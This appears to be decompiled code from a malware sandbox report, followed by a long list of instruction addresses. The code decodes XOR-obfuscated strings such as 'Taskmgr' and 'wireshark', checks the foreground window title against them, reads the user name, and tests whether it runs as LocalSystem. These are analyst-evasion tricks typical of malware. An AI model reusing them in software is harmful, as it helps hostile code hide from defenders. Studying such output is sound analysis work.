                                                          											_t579 =  &(_t579[1]);
                                                          											__eflags =  *0x450fbc - 0xffffffff;
                                                          											if(__eflags == 0) {
                                                          												_t151 =  &_v296; // 0x455d4f7a
                                                          												_t152 =  &_v292; // 0x2e5c4943
                                                          												 *0x450f90 =  *_t151;
                                                          												 *0x450f94 =  *_t152;
                                                          												E0040F25B( *_t152, __eflags, E0042CFB0);
                                                          												E0040EEFE(0x450fbc);
                                                          												_t579 =  &(_t579[2]);
                                                          											}
                                                          										}
                                                          										_t301 =  *0x450f97; // 0x0
                                                          										__eflags = _t301;
                                                          										if(_t301 != 0) {
                                                          											 *0x450f90 =  *0x450f90 ^ 0x0000002e;
                                                          											 *0x450f91 =  *0x450f91 ^ 0x0000002e;
                                                          											 *0x450f92 =  *0x450f92 ^ 0x0000002e;
                                                          											 *0x450f93 =  *0x450f93 ^ 0x0000002e;
                                                          											 *0x450f94 =  *0x450f94 ^ 0x0000002e;
                                                          											 *0x450f95 =  *0x450f95 ^ 0x0000002e;
                                                          											 *0x450f96 =  *0x450f96 ^ 0x0000002e;
                                                          											_t371 = _t301 ^ 0x0000002e;
                                                          											__eflags = _t371;
                                                          											 *0x450f97 = _t371;
                                                          										}
                                                          										_t580 = _t579 - 0x18;
                                                          										_t496 = 0x450f90;
                                                          										_t542 = _t580;
                                                          										_t153 =  &(_t496[1]); // 0x450f91
                                                          										_t554 = _t153;
                                                          										 *_t542 = 0;
                                                          										_t542[4] = 0;
                                                          										_t542[5] = 0xf;
                                                          										do {
                                                          											_t302 =  *_t496;
                                                          											_t496 =  &(_t496[1]);
                                                          											__eflags = _t302;
                                                          										} while (_t302 != 0);
                                                          										_t498 = _t542;
                                                          										E004026B0(_t452, _t542, 0x450f90, _t496 - _t554); // executed
                                                          										_t304 = E00405350(_t452); // executed
                                                          										_t581 =  &(_t580[6]);
                                                          										__eflags = _t304;
                                                          										if(_t304 != 0) {
                                                          											goto L145;
                                                          										} else {
                                                          											_t305 =  *0x450f9c; // 0x80000012
                                                          											_v296 = 0x4b5c4759;
                                                          											_v292 = 0x5c4f465d;
                                                          											_v288 = 0x2e45;
                                                          											__eflags = _t305 -  *((intOrPtr*)(_t564 + 4));
                                                          											if(_t305 >  *((intOrPtr*)(_t564 + 4))) {
                                                          												E0040EF48(_t305, 0x450f9c);
                                                          												_t581 =  &(_t581[1]);
                                                          												__eflags =  *0x450f9c - 0xffffffff;
                                                          												if(__eflags == 0) {
                                                          													asm("movq xmm0, [ebp-0x11c]");
                                                          													asm("movq [0x450d8c], xmm0");
                                                          													 *0x450d94 = _v288;
                                                          													E0040F25B(_t498, __eflags, E0042CF90);
                                                          													E0040EEFE(0x450f9c);
                                                          													_t581 =  &(_t581[2]);
                                                          												}
                                                          											}
                                                          											_t306 =  *0x450d95; // 0x0
                                                          											__eflags = _t306;
                                                          											if(_t306 != 0) {
                                                          												 *0x450d8c =  *0x450d8c ^ 0x0000002e;
                                                          												 *0x450d8d =  *0x450d8d ^ 0x0000002e;
                                                          												 *0x450d8e =  *0x450d8e ^ 0x0000002e;
                                                          												 *0x450d8f =  *0x450d8f ^ 0x0000002e;
                                                          												 *0x450d90 =  *0x450d90 ^ 0x0000002e;
                                                          												 *0x450d91 =  *0x450d91 ^ 0x0000002e;
                                                          												 *0x450d92 =  *0x450d92 ^ 0x0000002e;
                                                          												 *0x450d93 =  *0x450d93 ^ 0x0000002e;
                                                          												 *0x450d94 =  *0x450d94 ^ 0x0000002e;
                                                          												_t366 = _t306 ^ 0x0000002e;
                                                          												__eflags = _t366;
                                                          												 *0x450d95 = _t366;
                                                          											}
                                                          											_t582 = _t581 - 0x18;
                                                          											_t499 = 0x450d8c;
                                                          											_t542 = _t582;
                                                          											_t161 =  &(_t499[1]); // 0x450d8d
                                                          											_t555 = _t161;
                                                          											 *_t542 = 0;
                                                          											_t542[4] = 0;
                                                          											_t542[5] = 0xf;
                                                          											do {
                                                          												_t307 =  *_t499;
                                                          												_t499 =  &(_t499[1]);
                                                          												__eflags = _t307;
                                                          											} while (_t307 != 0);
                                                          											E004026B0(_t452, _t542, 0x450d8c, _t499 - _t555); // executed
                                                          											_t309 = E00405350(_t452); // executed
                                                          											_t583 =  &(_t582[6]);
                                                          											__eflags = _t309;
                                                          											if(_t309 != 0) {
                                                          												goto L145;
                                                          											} else {
                                                          												_t310 = GetForegroundWindow(); // executed
                                                          												__eflags = _t310;
                                                          												if(_t310 == 0) {
                                                          													L144:
                                                          													_t298 = 0;
                                                          													goto L146;
                                                          												} else {
                                                          													GetWindowTextA(_t310,  &_v284, 0x100);
                                                          													_t312 =  *0x450fb8; // 0x80000013
                                                          													_v312 = 0x4d415c7e;
                                                          													_v308 = 0xe5d5d4b;
                                                          													_v304 = 0x454d4f66;
                                                          													_v300 = 0x5c4b;
                                                          													__eflags = _t312 -  *((intOrPtr*)(_t564 + 4));
                                                          													if(_t312 >  *((intOrPtr*)(_t564 + 4))) {
                                                          														E0040EF48(_t312, 0x450fb8);
                                                          														_t583 =  &(_t583[1]);
                                                          														__eflags =  *0x450fb8 - 0xffffffff;
                                                          														if(__eflags == 0) {
                                                          															_t170 =  &_v304; // 0x454d4f66
                                                          															asm("movq xmm0, [ebp-0x12c]");
                                                          															 *0x450f6c =  *_t170;
                                                          															_t171 =  &_v300; // 0x5c4b
                                                          															asm("movq [0x450f64], xmm0");
                                                          															 *0x450f70 =  *_t171;
                                                          															 *0x450f72 = 0x2e;
                                                          															E0040F25B( &_v284, __eflags, E0042CF60);
                                                          															E0040EEFE(0x450fb8);
                                                          															_t583 =  &(_t583[2]);
                                                          														}
                                                          													}
                                                          													__eflags =  *0x450f72;
                                                          													if( *0x450f72 != 0) {
                                                          														_t360 = 0;
                                                          														__eflags = 0;
                                                          														do {
                                                          															 *(_t360 + 0x450f64) =  *(_t360 + 0x450f64) ^ 0x0000002e;
                                                          															_t360 = _t360 + 1;
                                                          															__eflags = _t360 - 0xf;
                                                          														} while (_t360 < 0xf);
                                                          													}
                                                          													_t503 = 0x450f64;
                                                          													_v364 = 0;
                                                          													_v348 = 0;
                                                          													_v344 = 0xf;
                                                          													_v364 = 0;
                                                          													_t178 = _t503 + 1; // 0x450f65
                                                          													_t542 = _t178;
                                                          													do {
                                                          														_t313 =  *_t503;
                                                          														_t503 = _t503 + 1;
                                                          														__eflags = _t313;
                                                          													} while (_t313 != 0);
                                                          													E004026B0(0x2e,  &_v364, 0x450f64, _t503 - _t542);
                                                          													_v16 = 0;
                                                          													__eflags = _v344 - 0x10;
                                                          													_t456 = 1;
                                                          													_v292 = 1;
                                                          													_t316 =  >=  ? _v364 :  &_v364;
                                                          													_t318 = E004101E0( &_v284,  >=  ? _v364 :  &_v364);
                                                          													_t584 =  &(_t583[2]);
                                                          													__eflags = _t318;
                                                          													if(_t318 != 0) {
                                                          														L131:
                                                          														_v313 = 1;
                                                          													} else {
                                                          														_t347 =  *0x450f60; // 0x80000014
                                                          														_v308 = 0x4b5c4779;
                                                          														_v304 = 0x5c4f465d;
                                                          														_v300 = 0x2e45;
                                                          														__eflags = _t347 -  *((intOrPtr*)(_t564 + 4));
                                                          														if(_t347 >  *((intOrPtr*)(_t564 + 4))) {
                                                          															E0040EF48(_t347, 0x450f60);
                                                          															_t584 = _t584 + 4;
                                                          															__eflags =  *0x450f60 - 0xffffffff;
                                                          															if(__eflags == 0) {
                                                          																asm("movq xmm0, [ebp-0x128]");
                                                          																_t190 =  &_v300; // 0x2e45
                                                          																asm("movq [0x450fd4], xmm0");
                                                          																 *0x450fdc =  *_t190;
                                                          																E0040F25B( &_v364, __eflags, E0042CF40);
                                                          																E0040EEFE(0x450f60);
                                                          																_t584 = _t584 + 8;
                                                          															}
                                                          														}
                                                          														_t348 =  *0x450fdd; // 0x0
                                                          														__eflags = _t348;
                                                          														if(_t348 != 0) {
                                                          															 *0x450fd4 =  *0x450fd4 ^ 0x0000002e;
                                                          															 *0x450fd5 =  *0x450fd5 ^ 0x0000002e;
                                                          															 *0x450fd6 =  *0x450fd6 ^ 0x0000002e;
                                                          															 *0x450fd7 =  *0x450fd7 ^ 0x0000002e;
                                                          															 *0x450fd8 =  *0x450fd8 ^ 0x0000002e;
                                                          															 *0x450fd9 =  *0x450fd9 ^ 0x0000002e;
                                                          															 *0x450fda =  *0x450fda ^ 0x0000002e;
                                                          															 *0x450fdb =  *0x450fdb ^ 0x0000002e;
                                                          															 *0x450fdc =  *0x450fdc ^ 0x0000002e;
                                                          															_t355 = _t348 ^ 0x0000002e;
                                                          															__eflags = _t355;
                                                          															 *0x450fdd = _t355;
                                                          														}
                                                          														_t512 = 0x450fd4;
                                                          														_v340 = 0;
                                                          														_v324 = 0;
                                                          														_v320 = 0xf;
                                                          														_t194 =  &(_t512[1]); // 0x450fd5
                                                          														_t542 = _t194;
                                                          														do {
                                                          															_t349 =  *_t512;
                                                          															_t512 =  &(_t512[1]);
                                                          															__eflags = _t349;
                                                          														} while (_t349 != 0);
                                                          														E004026B0(_t456,  &_v340, 0x450fd4, _t512 - _t542);
                                                          														__eflags = _v320 - 0x10;
                                                          														_t456 = 3;
                                                          														_t352 =  >=  ? _v340 :  &_v340;
                                                          														_t354 = E004101E0( &_v284,  >=  ? _v340 :  &_v340);
                                                          														_t584 = _t584 + 8;
                                                          														_v313 = 0;
                                                          														__eflags = _t354;
                                                          														if(_t354 != 0) {
                                                          															goto L131;
                                                          														}
                                                          													}
                                                          													__eflags = _t456 & 0x00000002;
                                                          													if((_t456 & 0x00000002) == 0) {
                                                          														L138:
                                                          														__eflags = _t456 & 0x00000001;
                                                          														if((_t456 & 0x00000001) == 0) {
                                                          															L143:
                                                          															__eflags = _v313;
                                                          															if(_v313 != 0) {
                                                          																goto L145;
                                                          															} else {
                                                          																goto L144;
                                                          															}
                                                          															L146:
                                                          															 *[fs:0x0] = _v24;
                                                          															_pop(_t553);
                                                          															_pop(_t565);
                                                          															_pop(_t454);
                                                          															__eflags = _v28 ^ _t571;
                                                          															return E0040EBBF(_t298, _t454, _v28 ^ _t571, _t542, _t553, _t565);
                                                          														} else {
                                                          															_t542 = _v344;
                                                          															__eflags = _t542 - 0x10;
                                                          															if(_t542 < 0x10) {
                                                          																goto L143;
                                                          															} else {
                                                          																_t506 = _v364;
                                                          																_t542 =  &(_t542[0]);
                                                          																_t319 = _t506;
                                                          																__eflags = _t542 - 0x1000;
                                                          																if(_t542 < 0x1000) {
                                                          																	L142:
                                                          																	_push(_t542);
                                                          																	E0040EDFF(_t506);
                                                          																	goto L143;
                                                          																} else {
                                                          																	_t506 =  *(_t506 - 4);
                                                          																	_t542 =  &(_t542[8]);
                                                          																	__eflags = _t319 - _t506 + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L147;
                                                          																	} else {
                                                          																		goto L142;
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t542 = _v320;
                                                          														_t456 = _t456 & 0xfffffffd;
                                                          														__eflags = _t542 - 0x10;
                                                          														if(_t542 < 0x10) {
                                                          															L137:
                                                          															_v324 = 0;
                                                          															_v320 = 0xf;
                                                          															_v340 = 0;
                                                          															goto L138;
                                                          														} else {
                                                          															_t511 = _v340;
                                                          															_t542 =  &(_t542[0]);
                                                          															_t343 = _t511;
                                                          															__eflags = _t542 - 0x1000;
                                                          															if(_t542 < 0x1000) {
                                                          																L136:
                                                          																_push(_t542);
                                                          																E0040EDFF(_t511);
                                                          																_t584 = _t584 + 8;
                                                          																goto L137;
                                                          															} else {
                                                          																_t511 =  *(_t511 - 4);
                                                          																_t542 =  &(_t542[8]);
                                                          																__eflags = _t343 - _t511 + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	L147:
                                                          																	E00413527(_t456, _t542, __eflags);
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	asm("int3");
                                                          																	_push(_t571);
                                                          																	_t572 = _t584;
                                                          																	_t324 =  *0x43d054; // 0x6e36c9b5
                                                          																	_v792 = _t324 ^ _t572;
                                                          																	_v876 = 0;
                                                          																	_v872 = 0x500;
                                                          																	_t328 = OpenProcessToken(GetCurrentProcess(), 8,  &_v884);
                                                          																	__eflags = _t328;
                                                          																	if(_t328 == 0) {
                                                          																		L151:
                                                          																		__eflags = _v20 ^ _t572;
                                                          																		return E0040EBBF(0, _t456, _v20 ^ _t572, _t542, _t555, _t564);
                                                          																	} else {
                                                          																		_t333 = GetTokenInformation(_v112, 1,  &_v96, 0x4c,  &_v108); // executed
                                                          																		_push(_v112);
                                                          																		__eflags = _t333;
                                                          																		if(_t333 != 0) {
                                                          																			CloseHandle();
                                                          																			_t337 = AllocateAndInitializeSid( &_v104, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v116);
                                                          																			__eflags = _t337;
                                                          																			if(_t337 == 0) {
                                                          																				goto L151;
                                                          																			} else {
                                                          																				_t338 = EqualSid(_v96, _v116);
                                                          																				FreeSid(_v116);
                                                          																				__eflags = _v20 ^ _t572;
                                                          																				_t567 = _t564;
                                                          																				return E0040EBBF(_t338, _t456, _v20 ^ _t572, _t542, _t555, _t567);
                                                          																			}
                                                          																		} else {
                                                          																			CloseHandle();
                                                          																			goto L151;
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	goto L136;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t382 = _t550 - _t541;
                                                          									__eflags = _t382 - _t452;
                                                          									_t457 =  <  ? _t382 : _t452;
                                                          									__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
                                                          									if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
                                                          										_t562 =  *_t562;
                                                          									}
                                                          									_t556 = _t550 - _t457;
                                                          									 *_v12 = _t556;
                                                          									__eflags = _t556 - _t541 + 1;
                                                          									_t286 = E004104C0(_t562 + _t541, _t562 + _t541 + _t457, _t556 - _t541 + 1);
                                                          									goto L87;
                                                          								}
                                                          							}
                                                          						} else {
                                                          							goto L12;
                                                          						}
                                                          					}
                                                          				}
                                                          				L6:
                                                          				_t240 =  *_t459;
                                                          				_t459 =  &(_t459[1]);
                                                          				if(_t240 != 0) {
                                                          					goto L6;
                                                          				} else {
                                                          					E004026B0(_t447,  &_v348, 0x450f14, _t459 - _t525);
                                                          					_t19 =  &_v296; // 0x47434a4f
                                                          					_v8 = 1;
                                                          					_t548 = GetUserNameA;
                                                          					_v296 = 0x101;
                                                          					GetUserNameA( &_v288, _t19); // executed
                                                          					_t462 =  &_v288;
                                                          					_v372 = 0;
                                                          					_v356 = 0;
                                                          					_t526 = _t462 + 1;
                                                          					_v352 = 0xf;
                                                          				}
                                                          				goto L8;
                                                          			}

































































































































































































                                                          0x004056a0
                                                          0x004056a0
                                                          0x004056a3
                                                          0x004056a5
                                                          0x004056b0
                                                          0x004056b1
                                                          0x004056b7
                                                          0x004056bc
                                                          0x004056be
                                                          0x004056c1
                                                          0x004056c3
                                                          0x004056c4
                                                          0x004056c8
                                                          0x004056ce
                                                          0x004056d8
                                                          0x004056e2
                                                          0x004056ec
                                                          0x004056f3
                                                          0x00405700
                                                          0x0040570a
                                                          0x00405713
                                                          0x00405715
                                                          0x00405720
                                                          0x00405727
                                                          0x0040572c
                                                          0x0040572f
                                                          0x00405736
                                                          0x00405738
                                                          0x0040573e
                                                          0x0040574f
                                                          0x00405755
                                                          0x0040575f
                                                          0x00405764
                                                          0x00405764
                                                          0x00405736
                                                          0x00405767
                                                          0x0040576e
                                                          0x00405770
                                                          0x00405777
                                                          0x0040577e
                                                          0x00405785
                                                          0x0040578c
                                                          0x00405795
                                                          0x00405795
                                                          0x0040579a
                                                          0x0040579f
                                                          0x004057a9
                                                          0x004057b3
                                                          0x004057bd
                                                          0x004057c4
                                                          0x004057c4
                                                          0x004057c4
                                                          0x00405830
                                                          0x00405830
                                                          0x00405830
                                                          0x00405832
                                                          0x00405833
                                                          0x00405847
                                                          0x00405852
                                                          0x00405858
                                                          0x0040585d
                                                          0x00405863
                                                          0x00405868
                                                          0x00405899
                                                          0x00405899
                                                          0x0040589d
                                                          0x004058a6
                                                          0x004058d7
                                                          0x004058d9
                                                          0x00405e74
                                                          0x00405e79
                                                          0x00405e81
                                                          0x00405e82
                                                          0x00405e83
                                                          0x00405e91
                                                          0x004058df
                                                          0x004058df
                                                          0x004058e6
                                                          0x004058f6
                                                          0x004058fd
                                                          0x00405902
                                                          0x00405905
                                                          0x0040590c
                                                          0x0040590e
                                                          0x00405919
                                                          0x0040591e
                                                          0x00405924
                                                          0x0040592e
                                                          0x00405933
                                                          0x00405933
                                                          0x0040590c
                                                          0x00405936
                                                          0x0040593d
                                                          0x0040593f
                                                          0x00405945
                                                          0x0040594b
                                                          0x00405951
                                                          0x00405959
                                                          0x00405959
                                                          0x0040595e
                                                          0x00405963
                                                          0x0040596d
                                                          0x00405977
                                                          0x00405981
                                                          0x00405988
                                                          0x00405988
                                                          0x00405990
                                                          0x00405990
                                                          0x00405992
                                                          0x00405993
                                                          0x004059a5
                                                          0x004059aa
                                                          0x004059b0
                                                          0x004059bb
                                                          0x004059c6
                                                          0x004059c8
                                                          0x004059ce
                                                          0x004059d8
                                                          0x004059e2
                                                          0x004059e5
                                                          0x004059f0
                                                          0x004059f0
                                                          0x004059f2
                                                          0x004059f3
                                                          0x00405a07
                                                          0x00405a12
                                                          0x00405a18
                                                          0x00405a1d
                                                          0x00405a23
                                                          0x00405a28
                                                          0x00405a59
                                                          0x00405a59
                                                          0x00405a5d
                                                          0x00405a66
                                                          0x00405a97
                                                          0x00405a99
                                                          0x00000000
                                                          0x00405a9f
                                                          0x00405a9f
                                                          0x00405aa4
                                                          0x00405aae
                                                          0x00405ab8
                                                          0x00405ac7
                                                          0x00405ace
                                                          0x00405ad3
                                                          0x00405ad6
                                                          0x00405add
                                                          0x00405adf
                                                          0x00405af3
                                                          0x00405afb
                                                          0x00405b01
                                                          0x00405b0b
                                                          0x00405b10
                                                          0x00405b10
                                                          0x00405add
                                                          0x00405b13
                                                          0x00405b1a
                                                          0x00405b1c
                                                          0x00405b23
                                                          0x00405b2a
                                                          0x00405b31
                                                          0x00405b38
                                                          0x00405b3f
                                                          0x00405b46
                                                          0x00405b4d
                                                          0x00405b54
                                                          0x00405b5d
                                                          0x00405b5d
                                                          0x00405b62
                                                          0x00405b67
                                                          0x00405b71
                                                          0x00405b7b
                                                          0x00405b85
                                                          0x00405b8c
                                                          0x00405b8c
                                                          0x00405b90
                                                          0x00405b90
                                                          0x00405b92
                                                          0x00405b93
                                                          0x00405ba5
                                                          0x00405baa
                                                          0x00405bb0
                                                          0x00405bbb
                                                          0x00405bc6
                                                          0x00405bc8
                                                          0x00405bce
                                                          0x00405bd8
                                                          0x00405be2
                                                          0x00405be5
                                                          0x00405bf0
                                                          0x00405bf0
                                                          0x00405bf2
                                                          0x00405bf3
                                                          0x00405c07
                                                          0x00405c18
                                                          0x00405c1d
                                                          0x00405c23
                                                          0x00405c28
                                                          0x00405c59
                                                          0x00405c59
                                                          0x00405c5d
                                                          0x00405c66
                                                          0x00405c97
                                                          0x00405c99
                                                          0x00000000
                                                          0x00405c9f
                                                          0x00405c9f
                                                          0x00405cb2
                                                          0x00405cb8
                                                          0x00405cbe
                                                          0x00405cc1
                                                          0x00405cc1
                                                          0x00405cc3
                                                          0x00405cc4
                                                          0x00405cd8
                                                          0x00405ce9
                                                          0x00405cee
                                                          0x00405cf3
                                                          0x00405cf9
                                                          0x00405d00
                                                          0x00405d0c
                                                          0x00405d11
                                                          0x00405d16
                                                          0x00000000
                                                          0x00000000
                                                          0x00405d28
                                                          0x00405d2d
                                                          0x00405d32
                                                          0x00405d44
                                                          0x00405d49
                                                          0x00405d4e
                                                          0x00405d60
                                                          0x00405d65
                                                          0x00405d6a
                                                          0x00405d70
                                                          0x00405d76
                                                          0x00405d80
                                                          0x00405d80
                                                          0x00405d82
                                                          0x00405d83
                                                          0x00405d87
                                                          0x00405d89
                                                          0x00405d8d
                                                          0x00405d90
                                                          0x00405d9e
                                                          0x00405da5
                                                          0x00405da8
                                                          0x00405da9
                                                          0x00405d90
                                                          0x00405db9
                                                          0x00405dbe
                                                          0x00405dc3
                                                          0x00405dd1
                                                          0x00405dd6
                                                          0x00405ddb
                                                          0x00405de2
                                                          0x00405de4
                                                          0x00405df7
                                                          0x00405dfd
                                                          0x00405e03
                                                          0x00405e06
                                                          0x00405e06
                                                          0x00405e08
                                                          0x00405e09
                                                          0x00405e1d
                                                          0x00405e2e
                                                          0x00405e33
                                                          0x00405e38
                                                          0x00000000
                                                          0x00000000
                                                          0x00405e38
                                                          0x00405ddb
                                                          0x00405dc3
                                                          0x00405d6a
                                                          0x00405d4e
                                                          0x00000000
                                                          0x00405d32
                                                          0x00405d00
                                                          0x00405e3e
                                                          0x00405e3e
                                                          0x00405e47
                                                          0x00000000
                                                          0x00405e49
                                                          0x00405e49
                                                          0x00405e4f
                                                          0x00405e50
                                                          0x00405e58
                                                          0x00405e6a
                                                          0x00405e6a
                                                          0x00405e6c
                                                          0x00000000
                                                          0x00405e5a
                                                          0x00405e5a
                                                          0x00405e5d
                                                          0x00405e68
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405e68
                                                          0x00405e58
                                                          0x00405e47
                                                          0x00405c68
                                                          0x00405c68
                                                          0x00405c6e
                                                          0x00405c6f
                                                          0x00405c77
                                                          0x00405c8d
                                                          0x00405c8d
                                                          0x00405c8f
                                                          0x00405c94
                                                          0x00000000
                                                          0x00405c79
                                                          0x00405c79
                                                          0x00405c7c
                                                          0x00405c87
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405c87
                                                          0x00405c77
                                                          0x00405c2a
                                                          0x00405c2a
                                                          0x00405c30
                                                          0x00405c31
                                                          0x00405c39
                                                          0x00405c4f
                                                          0x00405c4f
                                                          0x00405c51
                                                          0x00405c56
                                                          0x00000000
                                                          0x00405c3b
                                                          0x00405c3b
                                                          0x00405c3e
                                                          0x00405c49
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405c49
                                                          0x00405c39
                                                          0x00405c28
                                                          0x00405a68
                                                          0x00405a68
                                                          0x00405a6e
                                                          0x00405a6f
                                                          0x00405a77
                                                          0x00405a8d
                                                          0x00405a8d
                                                          0x00405a8f
                                                          0x00405a94
                                                          0x00000000
                                                          0x00405a79
                                                          0x00405a79
                                                          0x00405a7c
                                                          0x00405a87
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405a87
                                                          0x00405a77
                                                          0x00405a2a
                                                          0x00405a2a
                                                          0x00405a30
                                                          0x00405a31
                                                          0x00405a39
                                                          0x00405a4f
                                                          0x00405a4f
                                                          0x00405a51
                                                          0x00405a56
                                                          0x00000000
                                                          0x00405a3b
                                                          0x00405a3b
                                                          0x00405a3e
                                                          0x00405a49
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00405a49
                                                          0x00405a39
                                                          0x00405a28
                                                          0x004058a8
                                                          0x004058a8
                                                          0x004058ae
                                                          0x004058af
                                                          0x004058b7
                                                          0x004058cd
                                                          0x004058cd
                                                          0x004058cf
                                                          0x004058d4
                                                          0x00000000
                                                          0x004058b9
                                                          0x004058b9
                                                          0x004058bc
                                                          0x004058c7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004058c7
                                                          0x004058b7
                                                          0x0040586a
                                                          0x0040586a
                                                          0x00405870
                                                          0x00405871
                                                          0x00405879
                                                          0x0040588f
                                                          0x0040588f
                                                          0x00405891
                                                          0x00405896
                                                          0x00000000
                                                          0x0040587b
                                                          0x0040587b
                                                          0x0040587e
                                                          0x00405889
                                                          0x00405e94
                                                          0x00405e94
                                                          0x00405e99
                                                          0x00405e9a
                                                          0x00405e9b
                                                          0x00405e9c
                                                          0x00405e9d
                                                          0x00405e9e
                                                          0x00405e9f
                                                          0x00405ea0
                                                          0x00405ea1
                                                          0x00405ea3
                                                          0x00405ea4
                                                          0x00405ea8
                                                          0x00405eaa
                                                          0x00405eab
                                                          0x00405eac
                                                          0x00405ead
                                                          0x00405eaf
                                                          0x00405eb1
                                                          0x00405eb1
                                                          0x00405eb3
                                                          0x00405eb7
                                                          0x00405eb9
                                                          0x00405eb9
                                                          0x00405ebb
                                                          0x00405ebe
                                                          0x00405ec1
                                                          0x00405ec5
                                                          0x00405ecb
                                                          0x00405ed0
                                                          0x00405ed2
                                                          0x00405ed5
                                                          0x00405ed8
                                                          0x00405f0a
                                                          0x00405f10
                                                          0x00405eda
                                                          0x00405eda
                                                          0x00405edc
                                                          0x00405f11
                                                          0x00405f16
                                                          0x00405f17
                                                          0x00405f18
                                                          0x00405f19
                                                          0x00405f1a
                                                          0x00405f1b
                                                          0x00405f1c
                                                          0x00405f1d
                                                          0x00405f1e
                                                          0x00405f1f
                                                          0x00405f20
                                                          0x00405f21
                                                          0x00405f22
                                                          0x00405f23
                                                          0x00405f24
                                                          0x00405f25
                                                          0x00405f26
                                                          0x00405f27
                                                          0x00405f28
                                                          0x00405f29
                                                          0x00405f2a
                                                          0x00405f2b
                                                          0x00405f2c
                                                          0x00405f2d
                                                          0x00405f2e
                                                          0x00405f2f
                                                          0x00405f30
                                                          0x00405f31
                                                          0x00405f32
                                                          0x00405f33
                                                          0x00405f34
                                                          0x00405f35
                                                          0x00405f36
                                                          0x00405f37
                                                          0x00405f38
                                                          0x00405f39
                                                          0x00405f3a
                                                          0x00405f3b
                                                          0x00405f3c
                                                          0x00405f3d
                                                          0x00405f3e
                                                          0x00405f3f
                                                          0x00405f40
                                                          0x00405f41
                                                          0x00405f43
                                                          0x00405f45
                                                          0x00405f50
                                                          0x00405f51
                                                          0x00405f57
                                                          0x00405f5c
                                                          0x00405f5e
                                                          0x00405f61
                                                          0x00405f62
                                                          0x00405f63
                                                          0x00405f64
                                                          0x00405f68
                                                          0x00405f6e
                                                          0x00405f7e
                                                          0x00405f88
                                                          0x00405f92
                                                          0x00405f94
                                                          0x00405f99
                                                          0x00405f9f
                                                          0x00405fa6
                                                          0x00405fab
                                                          0x00405fae
                                                          0x00405fb5
                                                          0x00405fb7
                                                          0x00405fbd
                                                          0x00405fc8
                                                          0x00405fcd
                                                          0x00405fd3
                                                          0x00405fe0
                                                          0x00405fe5
                                                          0x00405fe5
                                                          0x00405fb5
                                                          0x00405fe8
                                                          0x00405fed
                                                          0x00405fef
                                                          0x00405ff1
                                                          0x00405ff8
                                                          0x00405fff
                                                          0x00406006
                                                          0x0040600d
                                                          0x00406014
                                                          0x0040601b
                                                          0x00406022
                                                          0x00406022
                                                          0x00406024
                                                          0x00406024
                                                          0x00406029
                                                          0x0040602c
                                                          0x00406031
                                                          0x00406033
                                                          0x00406033
                                                          0x00406036
                                                          0x0040603c
                                                          0x00406043
                                                          0x0040604a
                                                          0x00406050
                                                          0x00406050
                                                          0x00406052
                                                          0x00406053
                                                          0x00406053
                                                          0x00406061
                                                          0x00406066
                                                          0x0040606b
                                                          0x0040606e
                                                          0x00406070
                                                          0x004065ae
                                                          0x004065ae
                                                          0x00000000
                                                          0x00406076
                                                          0x00406076
                                                          0x0040607b
                                                          0x00406085
                                                          0x0040608f
                                                          0x00406095
                                                          0x0040609c
                                                          0x004060a1
                                                          0x004060a4
                                                          0x004060ab
                                                          0x004060ad
                                                          0x004060b3
                                                          0x004060be
                                                          0x004060c3
                                                          0x004060c9
                                                          0x004060d6
                                                          0x004060db
                                                          0x004060db
                                                          0x004060ab
                                                          0x004060de
                                                          0x004060e3
                                                          0x004060e5
                                                          0x004060e7
                                                          0x004060ee
                                                          0x004060f5
                                                          0x004060fc
                                                          0x00406103
                                                          0x0040610a
                                                          0x00406111
                                                          0x00406118
                                                          0x00406118
                                                          0x0040611a
                                                          0x0040611a
                                                          0x0040611f
                                                          0x00406122
                                                          0x00406127
                                                          0x00406129
                                                          0x00406129
                                                          0x0040612c
                                                          0x00406132
                                                          0x00406139
                                                          0x00406140
                                                          0x00406140
                                                          0x00406142
                                                          0x00406143
                                                          0x00406143
                                                          0x0040614f
                                                          0x00406151
                                                          0x00406156
                                                          0x0040615b
                                                          0x0040615e
                                                          0x00406160
                                                          0x00000000
                                                          0x00406166
                                                          0x00406166
                                                          0x0040616b
                                                          0x00406175
                                                          0x0040617f
                                                          0x00406188
                                                          0x0040618e
                                                          0x00406195
                                                          0x0040619a
                                                          0x0040619d
                                                          0x004061a4
                                                          0x004061a6
                                                          0x004061ba
                                                          0x004061c2
                                                          0x004061c8
                                                          0x004061d5
                                                          0x004061da
                                                          0x004061da
                                                          0x004061a4
                                                          0x004061dd
                                                          0x004061e2
                                                          0x004061e4
                                                          0x004061e6
                                                          0x004061ed
                                                          0x004061f4
                                                          0x004061fb
                                                          0x00406202
                                                          0x00406209
                                                          0x00406210
                                                          0x00406217
                                                          0x0040621e
                                                          0x00406225
                                                          0x00406225
                                                          0x00406227
                                                          0x00406227
                                                          0x0040622c
                                                          0x0040622f
                                                          0x00406234
                                                          0x00406236
                                                          0x00406236
                                                          0x00406239
                                                          0x0040623f
                                                          0x00406246
                                                          0x00406250
                                                          0x00406250
                                                          0x00406252
                                                          0x00406253
                                                          0x00406253
                                                          0x00406261
                                                          0x00406266
